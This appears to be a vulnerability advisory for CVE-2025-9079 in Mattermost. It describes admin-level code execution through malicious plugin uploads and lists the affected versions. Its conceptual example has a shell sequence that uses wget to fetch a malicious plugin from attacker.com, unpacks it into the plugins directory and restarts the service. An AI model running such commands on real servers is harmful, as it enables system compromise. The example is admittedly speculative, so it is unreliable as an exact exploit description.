Overview
Severe vulnerabilities pose significant threats to our interconnected digital ecosystem. One such vulnerability is the CVE-2025-9079, a critical security flaw found in multiple versions of Mattermost. Mattermost is a flexible, open-source messaging platform that provides team communication across web, mobile, and PC with unlimited archiving.
The vulnerability is particularly concerning due to its potential to allow admin users to execute arbitrary code via malicious plugin uploads. This not only affects the integrity of the platform but also endangers the confidentiality and availability of data, making it a critical issue that needs immediate attention.
Vulnerability Summary
CVE ID: CVE-2025-9079
Severity: High (8.0 CVSS Score)
Attack Vector: Network
Privileges Required: Administrator
User Interaction: Required
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
Mattermost | 10.8.x <= 10.8.3 Mattermost | 10.5.x <= 10.5.8 Mattermost | 9.11.x <= 9.11.17 Mattermost | 10.10.x <= 10.10.1 Mattermost | 10.9.x <= 10.9.3 How the Exploit Works
The vulnerability stems from Mattermost’s failure to validate the import directory path configuration. This failure provides a window for admin users to upload a malicious plugin to the prepackaged plugins directory. Once uploaded, this plugin can then be used to execute arbitrary code, potentially leading to system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
$ cd /path/to/mattermost/plugins/prepackaged
$ wget http://attacker.com/malicious_plugin.tar.gz
$ tar -xzf malicious_plugin.tar.gz
$ rm malicious_plugin.tar.gz
$ systemctl restart mattermostThis shell command sequence demonstrates how an attacker might navigate to the Mattermost prepackaged plugins directory, download a malicious plugin from a remote server, extract it, remove the downloaded file, and then restart the Mattermost service to activate the plugin.
Please note that this is a conceptual example and may not reflect the actual steps an attacker would use to exploit this vulnerability.
